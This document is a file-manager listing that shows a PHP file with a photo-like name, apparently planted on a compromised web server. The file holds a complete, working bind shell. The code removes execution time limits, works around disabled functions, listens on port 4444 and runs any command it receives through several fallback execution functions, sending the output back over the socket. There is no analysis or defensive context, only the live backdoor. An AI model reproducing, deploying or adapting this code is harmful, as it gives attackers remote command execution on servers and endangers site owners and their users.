Viewing file: 20180504044746_pharPhoto.php (2.37 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $MAYWQL=@ini_get('disable_functions'); if(!empty($MAYWQL)){ $MAYWQL=preg_replace('/[, ]+/', ',', $MAYWQL); $MAYWQL=explode(',', $MAYWQL); $MAYWQL=array_map('trim', $MAYWQL); }else{ $MAYWQL=array(); } $port=4444;
$scl='socket_create_listen'; if(is_callable($scl)&&!in_array($scl,$MAYWQL)){ $sock=@$scl($port); }else{ $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); $ret=@socket_bind($sock,0,$port); $ret=@socket_listen($sock,5); } $msgsock=@socket_accept($sock); @socket_close($sock);
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) { $o = ''; $c=@socket_read($msgsock,2048,PHP_NORMAL_READ); if(FALSE===$c){break;} if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; } $nYKI='is_callable'; $tBWh='in_array'; if($nYKI('proc_open')and!$tBWh('proc_open',$MAYWQL)){ $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); $o=NULL; while(!feof($pipes[1])){ $o.=fread($pipes[1],1024); } @proc_close($handle); }else if($nYKI('passthru')and!$tBWh('passthru',$MAYWQL)){ ob_start(); passthru($c); $o=ob_get_contents(); ob_end_clean(); }else if($nYKI('exec')and!$tBWh('exec',$MAYWQL)){ $o=array(); exec($c,$o); $o=join(chr(10),$o).chr(10); }else if($nYKI('popen')and!$tBWh('popen',$MAYWQL)){ $fp=popen($c,'r'); $o=NULL; if(is_resource($fp)){ while(!feof($fp)){ $o.=fread($fp,1024); } } @pclose($fp); }else if($nYKI('system')and!$tBWh('system',$MAYWQL)){ ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); }else if($nYKI('shell_exec')and!$tBWh('shell_exec',$MAYWQL)){ $o=shell_exec($c); }else { $o=0; } } @socket_write($msgsock,$o,strlen($o)); } @socket_close($msgsock); ?>
|